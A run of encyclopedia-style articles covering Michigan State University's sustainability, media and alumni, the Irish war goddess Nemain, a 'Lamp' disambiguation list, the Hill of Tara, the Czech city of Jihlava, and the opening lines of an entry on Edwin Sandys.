The university has also pledged to meet LEED-certification standards for all new construction. In July 2009, the university completed construction of a $13.3 million recycling center, and hopes to double their 2008 recycling rate of 14% by 2010.
The construction of Brody Hall, a residence hall of Michigan State University Housing, was completed in August 2011 and qualified for LEED Silver certification because the facility includes a rain water collection tank used for restroom fixtures, a white PVC roof, meters that will monitor utilities to make sure they are used efficiently, and the use of recycled matter and local sources for building materials.
The Environmental Steward's program support's president Simon's "Boldness by Design" strategic vision to transform environmental stewardship on campus within the seven-year time frame. Environmental stewards promote environmental changes among co-workers and peers, be points of contact for their department for environment-related concerns, and be liaisons between the Be Spartan Green Team and buildings.
The Student Organic Farm is a student-run, four-season farm, which teaches the principals of organic farming and through a certificate program and community-supported agriculture (CSA) on ten acres on the MSU campus.
The certificate program consists of year-round crop production, course work in organic farming, practical training and management, and an off-site internship requirement.
Media
MSU has a variety of campus media outlets. The student-run newspaper is The State News and free copies are available online or at East Lansing newsstands. The paper prints 28,500 copies from Monday through Friday during the fall and spring semesters, and 15,000 copies Monday through Friday during the summer. The paper is not published on weekends, holidays, or semester breaks, but is continually updated online at statenews.com. The campus yearbook is called the Red Cedar Log.Red Cedar Review, Michigan State University's premier literary digest for over forty years, is the longest running undergraduate-run literary journal in the United States. It is published annually by the Michigan State University Press.Michigan State Journal of History, an undergraduate-operated journal, features undergraduate scholarship at the university, and "strives to reflect the intellectual climate fostered by the Department of History".
MSU also publishes a student-run magazine during the academic year called Ing Magazine. Created in 2007 by MSU alumnus Adam Grant, the publication is released at the beginning of each month and publishes 7 issues each school year. MSU also publishes a student-run fashion and lifestyle magazine called VIM Magazine''' once a semester.
Electronic media include three radio stations and one public television station, as well as student-produced television shows. MSU's Public Broadcasting Service affiliate, WKAR-TV, the station is the second-oldest educational television station in the United States, and the oldest east of the Mississippi River. Besides broadcasting PBS shows, WKAR-TV produces its own local programming, such as a high school quiz bowl show called "QuizBusters". In addition, MSU has three radio stations; WKAR-AM plays National Public Radio's talk radio programming, whereas WKAR-FM focuses mostly on classical music programming. Michigan State's student-run radio station, WDBM, broadcasts mostly alternative music during weekdays and electric music programming nights and weekends.
Alumni
19th century
Important College leaders in the 19th century include John C. Holmes, who kept the Agriculture School from being a part of the University of Michigan and is widely credited with being the prime mover for the school's founding; Joseph R. Williams, the first president, and Theophilus C. Abbot, the third president who stabilized the college after the Civil War, were both key in establishing and maintaining the college's early balanced liberal/practical curriculum. Also of importance was botany professor William J. Beal, an early plant (hybrid corn) pre-geneticist who championed the laboratory teaching method. Another distinguished faculty member of the era was the alumnus/professor Liberty Hyde Bailey. Bailey was the first to raise the study of horticulture to a science, paralleling botany, which earned him the title of "Father of American Horticulture". William L. Carpenter, a jurist who was elected to the Third Judicial Circuit of Michigan in 1894, and member of the Michigan Supreme Court from 1902 until 1904. Other famous 19th-century graduates include Ray Stannard Baker, a famed "muckraker" journalist and Pulitzer Prize winning biographer; Minakata Kumagusu, a renowned environmental scientist; and William Chandler Bagley, a pioneering education reformer.
20th and 21st centuries
As of fall 2018, there were about 634,300 living MSU alumni worldwide. Notable politicians and public servants from MSU include current governor of Michigan Gretchen Whitmer, former Michigan governors James Blanchard and John Engler, U.S. Senators Debbie Stabenow, Tim Johnson, and Spencer Abraham, (who also served as Secretary of Energy),; U.S. Ambassador to Brazil Donna Hrinak, former Prime Minister of South Korea Lee Wan-koo, Consumer Financial Protection Bureau Director Richard Cordray, former Jordan prime minister Adnan Badran, and Chief Justice of the Texas Supreme Court Wallace B. Jefferson.
Trial lawyer Geoffrey Feiger, billionaire philanthropists Tom Gores, Andrew Beal and Eli Broad,
Pulitzer Prize-winning novelist Richard Ford, Teamsters president James P. Hoffa, and Quicken Loans founder and billionaire Cleveland Cavaliers owner Dan Gilbert, are all also MSU alums.
Alumni in Hollywood include actors such as James Caan, Anthony Heald, Robert Urich and William Fawcett; comedian Dick Martin, voice actor SungWon Cho, comedian Jackie Martling, film directors Michael Cimino and Sam Raimi, and film editor Bob Murawski, as well as screenwriter David Magee
Composer Dika Newlin received her undergraduate degree from MSU, while lyricist, theatrical director and clinical psychologist Jacques Levy earned a doctorate in psychology. The university has also produced such jazz luminaries as pianist Henry Butler, vibraphonist Milt Jackson, and keyboardist/composer-arranger Clare Fischer.
Russell Kirk, whose writings influenced the American conservative movement, attended Michigan State on a scholarship for his bachelor's degree. Journalists include NBC reporter Chris Hansen, ESPN sportcaster and columnist Jemele Hill, AP White House correspondent Nedra Pickler and NPR Washington correspondent Don Gonyea. Novelist Michael Kimball graduated in 1990. Novelist and true crime author R. Barri Flowers, who in 1977 earned a bachelor's degree and in 1980 a master's degree in criminal justice, was inducted in 2006 into the MSU Criminal Justice Wall of Fame. Author Erik Qualman graduated with honors in 1994 and was also Academic Big-Ten in basketball. Susan K. Avery, the first woman president and director of the Woods Hole Oceanographic Institution, received an MSU bachelor's degree in physics. In addition, two of the Little Rock Nine attended Michigan State, including Ernest Green, the first black student to graduate from Little Rock Central High School, and Carlotta Walls LaNier. The university awarded an honorary degree to Robert Mugabe in 1990, but revoked it in 2008.
Spartans have made their mark in all major American sports. MSU alumni formerly or currently in the NBA include point guard and three-time MVP Earvin "Magic" Johnson, Greg Kelser, Jay Vincent, Steve Smith, Scott Skiles, Jason Richardson, and Zach Randolph.
In the National Football League, MSU alumni include Carl Banks, who was a member of the Giants teams that won Super Bowls XXI and XXV and a member of the NFL's 1980's All-Decade Team; twenty-one year veteran quarterback Earl Morrall, defensive end and actor Bubba Smith, former Detroit Lions head coach Wayne Fontes, NFL games-played leader Morten Andersen, Plaxico Burress, Andre Rison, Derrick Mason, Muhsin Muhammad, T. J. Duckett, Flozell Adams, Julian Peterson, Charles Rogers, and Jim Miller.
The American Football League's All-Time Team includes tight-end Fred Arbanas and safety George Saimes.
Former Michigan State players in the National Hockey League include All Star Defensemen Duncan Keith, Rod Brind'Amour, Anson Carter, Donald McSween, Adam Hall, John-Michael Liles, Justin Abdelkader, Corey Tropp, brothers Kelly Miller and Kip Miller, as well as their cousins, brothers Ryan Miller and Drew Miller.
Former Michigan State players in Major League Baseball include Hall of Fame inductee Robin Roberts, Kirk Gibson, Steve Garvey and Mark Mulder. Olympic gold medalists include Savatheda Fynes and Fred Alderman. The Spartans are also contributing athletes to Major League Soccer, as Doug DeMartin, Dave Hertel, Greg Janicki, Rauwshan McKenzie, Ryan McMahen, and Fatai Alashe have all played in Major League Soccer. In addition, Alex Skotarek, Steve Twellman and Buzz Demling played in the North American Soccer League, with Demling playing in the 1972 Summer Olympics and the United States Men's National Soccer Team in the 1970s.
Ryan Riess, 2013 World Series of Poker Main Event Champion, is a 2012 graduate of MSU. NCAA Gymnastics Champion and former Sesame Street'' Muppet performer Toby Towson are MSU alumni as is pofessional wrestler George "The Animal" Steele.
Miss America 1961, Nancy Fleming, is a graduate of Michigan State.
Verghese Kurien was an Indian social entrepreneur known as the "Father of the White Revolution" for his Operation Flood, the world's largest agricultural development programme. He earned a Master of Science in Metallurgical Engineering from Michigan State University in 1948. Peter Schmidt, an American economist and econometrician, is both an alumnus (1970) and faculty member of MSU, holding a university Distinguished Professor position since 1997. Tyler Oakley, YouTube personality, graduated from Michigan State University in 2011.
See also
List of land-grant universities
List of colleges and universities in Michigan
Education in Michigan
Michigan State University Spartan Marching Band
References
Further reading
External links
Michigan State Athletics website
Michigan Agricultural College artifacts, a private collection
Michigan State University
Universities and colleges in Ingham County, Michigan
Forestry education
East Lansing, Michigan
Grand River Avenue
Land-grant universities and colleges
Educational institutions established in 1855
1855 establishments in Michigan
Buildings and structures in Lansing, Michigan
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241131 | https://en.wikipedia.org/wiki/Nemain | Nemain | In Irish mythology, Neman or Nemain (modern spelling: Neamhan, Neamhain) is the spirit-woman or goddess who personifies the frenzied havoc of war. In the ancient texts where The Morrígan appears as a trio of goddesses — the three sisters who make up the Morrígna — one of these sisters is sometimes known as Nemain.
Representation in literature
In the grand Irish epic of the Tain Bo Cuailnge, Neman confounds armies, so that friendly bands fall in mutual slaughter. When the forces of Queen Medb arrive at Magh-Tregham, in the present county of Longford, on the way to Cuailnge, Nemain appears amongst them:
“Then the Neman attacked them, and that was not the most comfortable night with them, from the uproar of the giant Dubtach through his sleep. The bands were immediately startled, and the army confounded, until Medb went to check the confusion.” Lebor na hUidhre, fol. 46, b1.
And in another passage, in the episode called "Breslech Maighe Muirthemhne,” where a terrible description is given of Cuchullain's fury at seeing the hostile armies of the south and west encamped within the borders of Ulaid, we are told (Book of Leinster, fol.54, a2, and b1): Nemain is an Irish goddess who is very powerful. Nemain can kill 100 men with just one single battle cry.
"He saw from him the ardent sparkling of the bright golden weapons over the heads of the four great provinces of Eriu, before the fall of the cloud of evening. Great fury and indignation seized him on seeing them, at the number of his opponents and at the multitude of his enemies. He seized his two spears, and his shield and his sword, and uttered from his throat a warrior's shout, so that sprites, and satyrs, and maniacs of the valley, and the demons of the air responded, terror-stricken by the shout which he had raised on high. And the Neman confused the army; and the four provinces of Eriu dashed themselves against the points of their own spears and weapons, so that one hundred warriors died of fear and trembling in the middle of the fort and encampment that night."
Kinship
In Cormac's glossary, Nemain is said to have been the wife of Neit, "the god of battle with the pagan Gaeidhel".
A poem in the Book of Leinster (fol. 6, a2), couples Badb and Nemain as the wives of Neid or Neit:—
“Neit son of Indu, and his two wives,
Badb and Neamin, truly,
Were slain in Ailech, without blemish,
By Neptur of the Fomorians”.
At folio 5, a2, of the same MS., Fea and Nemain are said to have been Neit’s two wives but in the poem on Ailech printed from the Dinnsenchus in the "Ordinance Memoir of Templemore" (p. 226), Nemain only is mentioned as the wife of Neit. Also, in the Irish books of genealogy, both Fea and Nemain are said to have been the two daughters of Elcmar of the Brugh (Newgrange, near the Boyne), who was the son of Delbaeth, son of Ogma, son of Elatan, and the wives of Neid son of Indae. This identical kinship of Fea and Nemain implies that the two are one and the same personality.
She sometimes appears as a bean nighe, the weeping washer by a river, washing the clothes or entrails of a doomed warrior.
In the Dindsenchas, Nemain "of the wounds of war" is described as the "law-giver wife" of Neit.
Etymology
The variant forms in which her name appears in Irish texts are Nemon ~ Nemain ~ Neman. These alternations imply that the Proto-Celtic form of this theonym, if such a theonym existed at that stage, would have been *Nemānjā, *Nemani-s or *Nemoni-s.
The meaning of the name has been various glossed. Squire (2000:45) glossed the name as 'venomous' presumably relating it to the Proto-Celtic *nemi- 'dose of poison' 'something which is dealt out' from the Proto-Indo-European root *nem- 'deal out' (Old Irish nem, pl. neimi 'poison' ). However, *nemi- is clearly an i-stem noun whereas the stems of the reconstructed forms *Nemā-njā, *Nema-ni-s and *Nemo-ni-s are clearly a-stem and o-stem nouns respectively.
Equally, the Proto-Celtic *nāmant- 'enemy' (Irish námhaid, genitive namhad 'enemy' from the Old Irish náma, g. námat, pl.n. námait ) is too different in form from *Nemānjā, *Nemani-s or *Nemoni-s to be equated with any of them.
The name may plausibly be an extended form of the Proto-Indo-European root of the name is *nem- 'seize, take, deal out' to which is related the Ancient Greek Némesis 'wrath, nemesis' and the name Nemesis, the personification of retributive justice in Greek mythology. This is related to the Ancient Greek Nomos, which means a custom or law, and also means to divide, distribute, or to allot. The Proto-Indo-European root is the Old High German nâma 'rapine,' German nehmen, 'take,' English nimble; Zend nemanh 'crime,' Albanian name 'a curse' and the Welsh, Cornish, and Breton nam, 'blame' . According to this theory, the name would mean something like 'the Great Taker' or the 'Great Allotter.'
References
Further reading
Hennessey, WM. (1870). The Ancient Irish Goddess of War. Revue Celtique, Vol 1, pp. 27–57. Available 26 September 2007 online at Sacred-texts.com.
Irish goddesses
War goddesses
Tuatha Dé Danann
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241132 | https://en.wikipedia.org/wiki/Lamp | Lamp | Lamp, Lamps or LAMP may refer to:
Lighting
Oil lamp, using an oil-based fuel source
Kerosene lamp, using kerosene as a fuel
Electric lamp, or light bulb, a replaceable component that produces light from electricity
Light fixture, or light fitting or luminaire, is an electrical device containing an electric lamp that provides illumination
Signal lamp, or Aldis lamp or Morse lamp, a semaphore system for optical communication
Safety lamp, any of several types of lamp that provides illumination in coal mines
Davy lamp
Arts, entertainment and media
Film and television
The Lamp (1987 film), or The Outing, a horror film
The Lamp (2011 film), an American drama
Lamp (advertisement), a 2002 television and cinema advertisement for IKEA
Music
Lamp (band), a Japanese indie band
"Lamp", a song by Bump of Chicken from the 1999 album The Living Dead
Literature
The Lamp (magazine), American bimonthly Catholic magazine, founded in 2019
The Lamp, a Catholic periodical, founded in 1846, edited for a time by Frances Margaret Taylor
The Lamp: A Catholic Monthly Devoted to Church Unity and Missions, an American periodical published by the Society of the Atonement, 1903-1973
The Lamp, periodical published by the American Committee for the Protection of Foreign Born
Businesses and organisations
Loveless Academic Magnet Program, a high school in Montgomery, Alabama, U.S.
LAMP Community, a Los Angeles-based nonprofit organization
Lighthouse Archaeological Maritime Program, at St. Augustine Light, Florida, U.S.
People
Lamp (surname), including a list of people with the surname
Frank Lampard (born 1978), nickname "Lamps", English football player and manager
Science and technology
LAMP (software bundle) (Linux, Apache, MySQL, PHP/Perl/Python)
Library Access to Music Project, a free music library for MIT students
Localized Aviation MOS Program (LAMP), a model output statistics system used in weather prediction
Loop-mediated isothermal amplification, a single tube technique for the amplification of DNA
Lyman Alpha Mapping Project, an instrument on the NASA Lunar Reconnaissance Orbiter
Lysosome-associated membrane glycoprotein, including LAMP1, LAMP2, LAMP3
Other uses
Light Airborne Multi-Purpose System (LAMPS), a United States Navy program
See also
Lamping (disambiguation)
Lampadarius, a slave who carried torches
Fragrance lamp, a lamp that disperses scented alcohol using a heated stone attached to a cotton wick
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241133 | https://en.wikipedia.org/wiki/Hill%20of%20Tara | Hill of Tara | The Hill of Tara ( or ) is a hill and ancient ceremonial and burial site near Skryne in County Meath, Ireland. Tradition identifies the hill as the inauguration place and seat of the High Kings of Ireland; it also appears in Irish mythology. Tara consists of numerous monuments and earthworks—dating from the Neolithic to the Iron Age—including a passage tomb (the "Mound of the Hostages"), burial mounds, round enclosures, a standing stone (believed to be the Lia Fáil or "Stone of Destiny"), and a ceremonial avenue. There is also a church and graveyard on the hill. Tara forms part of a larger ancient landscape and Tara itself is a protected national monument under the care of the Office of Public Works, an agency of the Irish Government.
Name
The name Tara is an anglicization of the Irish name or ('hill of Tara'). It is also known as ('Tara of the kings'), and formerly also ('the grey ridge'). The Old Irish form is . It is believed this comes from Proto-Celtic and means a 'sanctuary' or 'sacred space' cut off for ceremony, cognate with the Greek () and Latin . Another suggestion is that it means "a height with a view".
Features and early history
Ancient monuments
The remains of twenty ancient monuments are visible, and at least three times that many have been found through geophysical surveys and aerial photography.
The oldest visible monument is (the 'Mound of the Hostages'), a Neolithic passage tomb built around 3,200 BC. It holds the remains of hundreds of people, most of which are cremated bones. In the Neolithic, it was the communal tomb of a single community for about a century, during which there were almost 300 burials. Almost a millennium later, in the Bronze Age, there were a further 33 burials – first in the passage and then in the mound around it. During this time, only certain high-status individuals were buried there. At first, it was the tomb of one community, but later multiple communities came together to bury their elite there. The last burial was a full body burial of a young man of high status, with an ornate necklace and dagger.
During the late Neolithic or early Bronze Age, a huge double timber circle or "wood henge" was built on the hilltop. It was 250m in diameter and surrounded the Mound of the Hostages. At least six smaller burial mounds were built in an arc around this timber circle, including those known as , , ('Mound of the Mercenary Women') and ('Mound of the Cow'). The timber circle was eventually either removed or decayed, and the burial mounds are barely visible today.
There are several large round enclosures on the hill, which were built in the Iron Age. The biggest and most central of these is Ráth na Ríogh (the Enclosure of the Kings), which measures in circumference, north-south by east-west, with an inner ditch and outer bank. It is dated to the 1st century BC and was originally marked out by a stakewall. Human burials, and a high concentration of horse and dog bones, were found in the ditch. Within the is the Mound of the Hostages and two round, double-ditched enclosures which together make a figure-of-eight shape. One is ('Cormac's House') and the other is the or Royal Seat, which incorporates earlier burial mounds. On top of the is a standing stone, which is believed to be the ('Stone of Destiny') at which the High Kings were crowned. According to legend, the stone would let out a roar when the rightful king touched it. It is believed that the stone originally lay beside or on top of the Mound of the Hostages.
Just to the north of , is (the 'Rath of the Synods'), which was built in the middle of the former "wood henge". It is a round enclosure with four rings of ditches and banks, and incorporates earlier burial mounds. It was re-modelled several times and once had a large timber building inside it, resembling the one at Navan. It was occupied between the 1st and 4th centuries AD, and Roman artefacts were also found there. It was badly mutilated in the early 20th century by British Israelites searching for the Ark of the Covenant.
The other round enclosures are ('Laoghaire's Fort', where the eponymous king is said to have been buried) at the southern edge of the hill, and the ('Sloping Trenches' or 'Sloping Graves') at the northwestern edge, which includes and . The are burial mounds with ring ditches around them which sit on a slope.
At the northern end of the hill is or 'Banqueting Hall'. This was likely the ceremonial avenue leading to the hilltop and seems to have been one of the last monuments built.
Half a mile south of the Hill of Tara is another large round enclosure known as Rath Meave, which refers to the legendary figure Medb or Medb Lethderg.
Annals
In the Annals of Inisfallen (AI980.4) is a description of the Battle of Tara between Máel Sechnaill mac Domnaill and the son of Amlaíb Cuarán
Church
A church, called Saint Patrick's, is on the eastern side of the hilltop. The "Rath of the Synods" has been partly destroyed by its churchyard. The modern church was built in 1822–23 on the site of an earlier one.
The earliest evidence of a church at Tara is a charter dating from the 1190s. In 1212, this church was "among the possessions confirmed to the Knights Hospitallers of Saint John of Kilmainham by Pope Innocent III". A 1791 illustration shows the church building internally divided into a nave and chancel, with a bell-tower over the western end. A stump of wall marks the site of the old church today, but some of its stonework was re-used in the current church.
The building is now used as a visitor centre, operated by the Office of Public Works (OPW), an agency of the Irish Government.
The Five Roads of Tara
According to legend, five ancient roads or meet at Tara, linking it with all the provinces of Ireland. The earliest reference to the five roads of Tara was in the tale (The Destruction of Da Derga's Hall).
The five roads are said to be:
, which went west towards Lough Owel, then to Rathcroghan.
, which went to Slane, then to Navan Fort, ending at Dunseverick.
, which went through Dublin and through the old district of Cualann towards Waterford.
, which went towards and through Ossory.
('Great Highway'), which roughly followed the Esker Riada to County Galway.
Significance
The passage of the Mound of the Hostages is aligned with the sunrise around the times of Samhain (the Gaelic festival marking the start of winter) and Imbolc (the festival marking the start of spring). The passage is shorter than monuments like Newgrange, making it less precise in providing alignments with the Sun, but Martin Brennan writes in The Stones of Time that "daily changes in the position of a 13-foot long sunbeam are more than adequate to determine specific dates". Early Irish literature records that a royal gathering called the 'feast of Tara' (feis Temro) was held there at Samhain.
By the beginning of Ireland's historical period, Tara had become the seat of a sacral kingship. Historian Dáibhí Ó Cróinín writes that Tara "possessed an aura that seemed to set it above" the other royal seats. It is recorded as the seat of the High King of Ireland (Ard Rí) and is "central to most of the great drama in early Irish literature". Various medieval king lists traced a line of High Kings far into the past. However, John T. Koch explains: "Although the kingship of Tara was a special kingship whose occupants had aspirations towards supremacy among the kings of Ireland, in political terms it is unlikely that any king had sufficient authority to dominate the whole island before the 9th century".
Irish legend says that the Lia Fáil (Stone of Destiny) at Tara was brought to Ireland by the divine Tuatha Dé Danann, and that it would cry out under the foot of the true king. Medb Lethderg was the sovereignty goddess of Tara. The cult of the sacral kingship of Tara is reflected in the legends of High King Conaire Mór, while another legendary High King, Cormac mac Airt, is presented as the ideal king. The reign of Diarmait mac Cerbaill, a historical king of Tara in the sixth century, was seen as particularly important by medieval writers. Although he was probably pagan, he was also influenced by Christian leaders and "stood chronologically between two worlds, the ancient pagan one and the new Christian one".
Tara was probably controlled by the Érainn before it was seized by the Laigin in the third century. Niall of the Nine Hostages displaced the Laigin from Tara in the fifth century and it became the ceremonial seat of the Uí Néill. The kingship of Tara alternated between the Southern and Northern Uí Néill until the eleventh century. After this, control of Dublin, Limerick, and Waterford became more important to a would-be High King than control of Tara.
According to Irish mythology, during the third century a great battle known as the Cath Gabhra took place between High King Cairbre Lifechair, and the Fianna led by Fionn Mac Cumhaill. The Fianna were heavily defeated; many of the graves of the Fianna covered the Rath of the Gabhra, most notably the grave of Oscar, son of Oisín.
Later history
During the rebellion of 1798, United Irishmen formed a camp on the hill but were attacked and defeated by British troops on 26 May 1798 and the was allegedly moved to commemorate the 400 rebels who died on the hill that day.
In 1843, the Irish nationalist leader Daniel O'Connell hosted a peaceful political demonstration at Tara in favour of Irish self-governance which drew over 750,000 people, highlighting the lasting significance of Tara.
British Prime Minister John Russell inherited the Tara estate during the 19th century. At the turn of the 20th century, Tara was vandalised by British Israelists who thought that the British were part of the Lost Tribes of Israel and that the hill contained the Ark of the Covenant. A group of British Israelists, led by retired Anglo-Indian judge Edward Wheeler Bird, set about excavating the site having paid off the landowner, Gustavus Villiers Briscoe. Irish cultural nationalists held a mass protest over the destruction of the national heritage site, including Douglas Hyde, Arthur Griffith, Maud Gonne, George Moore and W. B. Yeats. Hyde tried to interrupt the dig but was ordered away by a man wielding a rifle. Maud Gonne made a more flamboyant protest by relighting an old bonfire that Briscoe had lit to celebrate the coronation of Edward VII. She began to sing Thomas Davis's song "A Nation Once Again" by the fire, much to the consternation of the landlord and the police.
The Irish government bought the southern part of the hill in 1952, and the northern part in 1972.
The religious order Missionary Society of St. Columban had its international headquarters at Dalgan Park, just north of the Hill of Tara. The order was named after the Saint who was born in the Ancient Kingdom of Meath. The land Dalgan Park lies on was once owned by the kings of Tara. The seminary is also situated on the path of the , one of the five ancient roads that meet at Tara.
Motorway development
The M3 motorway passes through the Tara-Skryne Valley – as did the existing N3 road. Protesters argue that since the Tara Discovery Programme started in 1992, there is an appreciation that the Hill of Tara is just the central complex of a wider landscape. The distance between the motorway and the hill is – it intersects the old N3 at the Blundelstown interchange between the Hill of Tara and the Hill of Skryne. Protesters said that an alternative route about west of Tara would have been straighter, cheaper and less destructive.
On Sunday 23 September 2007 over 1500 people met on the Hill of Tara to take part in a human sculpture representing a harp and spelling out the words "SAVE TARA VALLEY" as a call for the re-routing of the M3 motorway away from Tara. Actors Stuart Townsend and Jonathan Rhys Meyers attended this event. There was also a letter writing campaign to preserve the Hill of Tara.
The Hill of Tara was included in the World Monuments Fund's 2008 Watch List of the 100 Most Endangered Sites in the world. The following year it was included in a list of the 15 must-see endangered cultural treasures by the Smithsonian Institution.
The motorway project proceeded, and the road was opened in June 2010.
Pictures
See also
, historic residence of Swedish kings of the legendary Yngling dynasty
, c. 7th century AD pennanular brooch named after, but not from Tara
, Book of Psalms, discovered 2006
, Close to Tara is the Hill of Ward, it's associated with the mythological druidess Tlachtga
, a druidic site associated with the festival of Bealtaine
References
Sources
Further reading
, alt link
, alt link
External links
Hill of Tara at Megalithic Ireland
Aerial photos of the monuments
Heritage of Ireland, Tara
Boyne Valley Tourist Portal – Information on Tara
The Hill of Tara page on Mythical Ireland
Prehistoric sites in Ireland
Archaeological sites in County Meath
Mountains and hills of County Meath
Tourist attractions in County Meath
National Monuments in County Meath
Royal sites of Ireland
Former populated places in Ireland
Sacred mountains
Irish legends | [
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241135 | https://en.wikipedia.org/wiki/Jihlava | Jihlava | Jihlava (; , ) is a city in the Czech Republic. It has about 51,000 inhabitants. Jihlava is the capital of the Vysočina Region, situated on the Jihlava river on the historical border between Moravia and Bohemia, and is the oldest mining town in the Czech Republic, approximately 50 years older than Kutná Hora. The historic centre of Jihlava is well preserved and historically significant and is protected by law as an urban monument reservation.
Administrative division
Jihlava is made up of 17 administrative parts:
Jihlava
Horní Kosov
Staré Hory
Antonínův Důl
Červený Kříž
Helenín
Henčov
Heroltice
Hosov
Hruškové Dvory
Kosov
Pávov
Popice
Pístov
Sasov
Vysoká
Zborná
Etymology
The origin of the city's name (Iglau in German) is unclear. Most common theory has it derived from the German word Igel, meaning hedgehog, usually in reference to the city's coat of arms. However, the name was in use since before the symbol of a hedgehog was. It is more likely the city is named for the river that flows through it, the name of which is also unclear in its origin, either being derived from the German word Igel as the first theory suggests, or from Slavic word jehla, referring to sharp stones in the Jihlava river bed.
History
According to legend, silver was mined in Iglau as early as 799. King Ottokar I established a mint, and Iglau was granted extensive privileges already during these early times.
An old Slavic settlement upon a ford was moved to a nearby hill where the mining town was founded (ca. 1240) by King Wenceslaus I. In the Middle Ages the town was inhabited mostly by Germans (mostly from Northern Bavaria and Upper Saxony). Medieval mines surrounded by mining settlements were localized outside the walls of the medieval town (named Staré Hory).
In the era of the Hussite Wars, Jihlava remained a Catholic stronghold and managed to resist a number of sieges. Later at Jihlava, on 5 July 1436, a treaty was made with the Hussites, whereby the emperor Sigismund was acknowledged king of Bohemia. A marble relief near the town marks the spot where Ferdinand I, in 1527, swore fidelity to the Bohemian estates.
During the Thirty Years' War Jihlava was twice captured by the Swedes. In 1742, it fell into the hands of the Prussians, and in December 1805 the Bavarians under Wrede were defeated near the town. In 1860, it became the childhood home of Bohemian-Austrian composer Gustav Mahler, who retained his ties to the town until the death of both of his parents in 1889.
Until World War I the town was an important Austro-Hungarian Army military centre. In 1914, the First, Second and Third Battalions of the Moravian Infantry Regiment No. 81 (Bataillon des Mährischen Infanterie-Regiments Nummer. 81) and the Second Battalion of the Landwehr infantry regiment number 14 (II. Bataillon des Landwehr-Infanterie-Regiments Nr. 14) were the garrison troops.
After World War I the town constituted a German language island within Slavic speaking Moravia. This affected local politics, as it remained the centre of the second largest German-speaking enclave in the republic of Czechoslovakia (after Schönhengstgau/Hřebečsko). After the Czechoslovak Republic was proclaimed on 28 October 1918, the indigenous Germans of Bohemia and Moravia, claiming the right to self-determination according to the 10th of President Woodrow Wilson's Fourteen Points, demanded that their homeland areas remain with the new Austrian State. The Volksdeutsche of Iglau relied on peaceful opposition to the Czech military occupation of their region, a process that started on 31 October 1918 and was completed on 28 January 1919. Unsuccessful in getting their right to self-determination recognized and incorporated into the new Czechoslovak state, many of the indigenous Germans instead took to more nationalistic politics. Thereafter extremist political figures like Hans Krebs, editor of the Iglauer Volkswehr newspaper, became prominent with the rise of Nazism and the Nazi occupation (1939–1945).
Until the end of World War II, Iglau was the centre of a distinctive regional folk culture reflecting hundreds of years of local customs. The local dialect of German was a unique branch of Mitteldeutsch. Musicians often used homemade instruments and original groups of four fiddles (Vierergruppen Fiedeln) and Ploschperment. Typical folk dances were the Hatschou, Tuschen and Radln. Peasant women wore old "pairische" Scharkaröckchen costumes with shiny dark skirts and big red cloths.
Most of Jihlava's Jewish population was deported and killed due to the Holocaust in Bohemia and Moravia.
After the end of World War II, starting from May 9, 1945, German-speakers were banned from using public transportation and were ordered to carry white armbands identifying them as Germans. Following the Beneš decrees, the German-speakers were evicted from their homeland; it is estimated that hundreds died on the arduous trek to Austria.
The town was repopulated with Czech and Moravian settlers favored by the new Communist regime. After 1951, the town was the site of several Communist show trials, which were directed against the influence of the Roman Catholic Church on the rural population. In the processes eleven death sentences were passed and 111 years of prison sentences imposed. All the convicted persons were rehabilitated after the Velvet Revolution.
In protest against the Soviet occupation of Czechoslovakia in 1969 Evžen Plocek set himself on fire in the town marketplace in emulation of others in Prague. Today there is a memorial plaque to him.
Since the collapse of Communism in the 1990s the share of employment in agriculture has steadily declined. The industrial sector of the town now employs 65 percent of all workers.
Demography
Education
In 2004, the Jihlava Polytechnic University was founded. As of 2019, it had more than 2,200 students.
Health Care
Helath-care services are provided by the private doctors in their surgeries, or in two medical complexes: Jihlavské terasy and Policlinics (Dům zdraví). There is a regional Hospital in Jihlava, a Mental hospital. For seniors there are two Homes for Seniors available, one in Jihlavské terasy complex and one in Lesnov quarter. In Romana Havelky street there is Alzheimer Centre.
Sport
The city's football club is FC Vysočina Jihlava. The club plays mostly in the Czech National Football League (second tier).
The local ice hockey club, HC Dukla Jihlava, was successful between 1966–1991, however in recent decades it plays mostly in the 1st Czech Republic Hockey League (second tier).
Sights
Among the principal buildings are the early Gothic churches of St. Jacob, Friars Minor Church of Our Lady and Dominican Church of the Exaltation of the Holy Cross, the Baroque Church of St. Ignatius of Loyola, the city hall and a number of municipal houses containing Gothic and Renaissance details. There is also a Jewish cemetery, containing some remarkable monuments including the tombstone of the parents of Gustav Mahler.
Notable people
Gustav Mahler (1860–1911), Austrian-German composer and conductor
Julius Tandler (1869–1936), physician and politician
Hans Krebs (1888–1947), Nazi SS Brigadeführer executed for war crimes
František Cipro (born 1947), football manager
Zdeněk Měřínský (1948–2016), archeologist and historian
Ondřej Vetchý (born 1962), actor
Patrik Augusta (born 1969), ice hockey player
Bobby Holík (born 1971), ice hockey player
Jiří Šlégr (born 1971), ice hockey player
Lukáš Krpálek (born 1990), judoka
David Rittich (born 1992), ice hockey player
Twin towns – sister cities
Jihlava is twinned with:
Heidenheim an der Brenz, Germany
Uzhhorod, Ukraine
Zgierz, Poland
Jihlava also cooperates with Wuhan in China.
References
Literature
Peter von Chlumecký: Die Regesten oder die chronologischen Verzeichnisse der Urkunden in den Archiven zu Iglau […]. Nitsch & Grosse, Brünn 1856 (Digitalisat)
Martin Leupold von Löwenthal: Chronik der Königlichen Stadt Iglau (1402–1607). Hrsg. v. Christian d' Elvert. Brünn 1861 (Digitalisat)
Alois Pokorny: Die Vegetationsverhältnisse von Iglau. Ein Beitrag zur Pflanzengeographie des böhmisch-mährischen Gebirges. Wien 1852 (Digitalisat)
Andreas Sterly: Drangsale der Stadt Iglau unter der schwedischen Zwingherrschaft. Iglau 1828 (Digitalisat)
Johann Achatzi: Iglauer Heimatbuch. Gemeinschaft Iglauer Sprachinsel e.V. 1962
External links
Official website
zJihlavy.cz: Free Regional Press Monitor
Jihlava International Documentary Film Festival
Populated places in Jihlava District
Cities and towns in the Czech Republic
Mining communities in the Czech Republic | [
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241140 | https://en.wikipedia.org/wiki/Edwin%20Sandys%20%28died%201629%29 | Edwin Sandys (died 1629) | Sir Edwin Sandys ( ; 9 December 1561 – October 1629) was an English politician who sat in the House of Commons at various times between 1589 and 1626. He was also one of the founders of the proprietary Virginia Company of London, which in 1606 established the first permanent English settlement in what is now the United States in the colony of Virginia, based at Jamestown. The parish of Sandys, in Bermuda (the Virginia Company's second colony) is named after him.
Early life and career
